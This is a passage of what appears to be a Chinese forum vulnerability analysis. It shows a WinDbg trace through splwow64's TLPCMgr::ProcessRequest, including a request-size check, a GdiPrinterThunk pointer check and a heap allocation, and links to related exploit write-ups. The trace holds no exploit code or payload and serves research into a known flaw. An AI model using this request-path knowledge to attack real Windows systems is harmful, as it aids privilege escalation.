0FFFEFh
0
:
007
> r eax
eax
=
78
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x91
:
00007ff7
`
0bf1773d
0f8737030000
ja splwow64!TLPCMgr::ProcessRequest
+
0x3ce
(
00007ff7
`
0bf17a7a
) [br
=
0
]
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x97
:
00007ff7
`
0bf17743
8bcb
mov ecx,ebx
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x99
:
00007ff7
`
0bf17745
e8de430000 call splwow64!operator new[] (
00007ff7
`
0bf1bb28
)
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x9e
:
00007ff7
`
0bf1774a
488bf0
mov rsi,rax
0
:
007
> r
rax
=
0000000000d785e0
rbx
=
0000000000000088
rcx
=
000000007ffe0380
rdx
=
0000000000000001
rsi
=
0000000000000000
rdi
=
0000000000d7cac0
rip
=
00007ff70bf1774a
rsp
=
000000000279f2e0
rbp
=
0000000000000000
r8
=
0000000000000000
r9
=
0000000000000001
r10
=
0000000000d70000
r11
=
000000000279f250
r12
=
00007ff70bf22048
r13
=
0000000000d756f0
r14
=
0000000000000057
r15
=
0000000000000000
iopl
=
0
nv up ei pl nz na pe nc
cs
=
0033
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000202
splwow64!TLPCMgr::ProcessRequest
+
0x9e
:
00007ff7
`
0bf1774a
488bf0
mov rsi,rax
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x6e
:
00007ff7
`
0bf1771a
66833f20
cmp
word ptr [rdi],
20h
ds:
00000000
`
00d7cac0
=
0020
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x72
:
00007ff7
`
0bf1771e
418bef
mov ebp,r15d
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x75
:
00007ff7
`
0bf17721
418bdf
mov ebx,r15d
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x78
:
00007ff7
`
0bf17724
41be57000000
mov r14d,
57h
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x7e
:
00007ff7
`
0bf1772a
7523
jne splwow64!TLPCMgr::ProcessRequest
+
0xa3
(
00007ff7
`
0bf1774f
) [br
=
0
]
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x80
:
00007ff7
`
0bf1772c
4d397d48
cmp
qword ptr [r13
+
48h
],r15 ds:
00000000
`
00d75738
=
{GDI32!GdiPrinterThunk (
00007ffa
`c8e48eb0)}
/
/
判断GDI32!GdiPrinterThunk指针
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x84
:
00007ff7
`
0bf17730
741d
je splwow64!TLPCMgr::ProcessRequest
+
0xa3
(
00007ff7
`
0bf1774f
) [br
=
0
]
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x86
:
00007ff7
`
0bf17732
8b5f28
mov ebx,dword ptr [rdi
+
28h
] ds:
00000000
`
00d7cae8
=
00000088
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x89
:
00007ff7
`
0bf17735
8d43f0
lea eax,[rbx
-
10h
]
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x8c
:
00007ff7
`
0bf17738
3defff0f00
cmp
eax,
0FFFEFh
0
:
007
> r eax
eax
=
78
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x91
:
00007ff7
`
0bf1773d
0f8737030000
ja splwow64!TLPCMgr::ProcessRequest
+
0x3ce
(
00007ff7
`
0bf17a7a
) [br
=
0
]
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x97
:
00007ff7
`
0bf17743
8bcb
mov ecx,ebx
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x99
:
00007ff7
`
0bf17745
e8de430000 call splwow64!operator new[] (
00007ff7
`
0bf1bb28
)
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x9e
:
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]Office EPS文件解析漏洞分析 15988
- CVE-2017-11826 漏洞分析及利用 13249
- CVE-2021-1675漏洞及利用分析 9421
- [原创]利用CVE-2020-0986实现IE沙箱逃逸 13000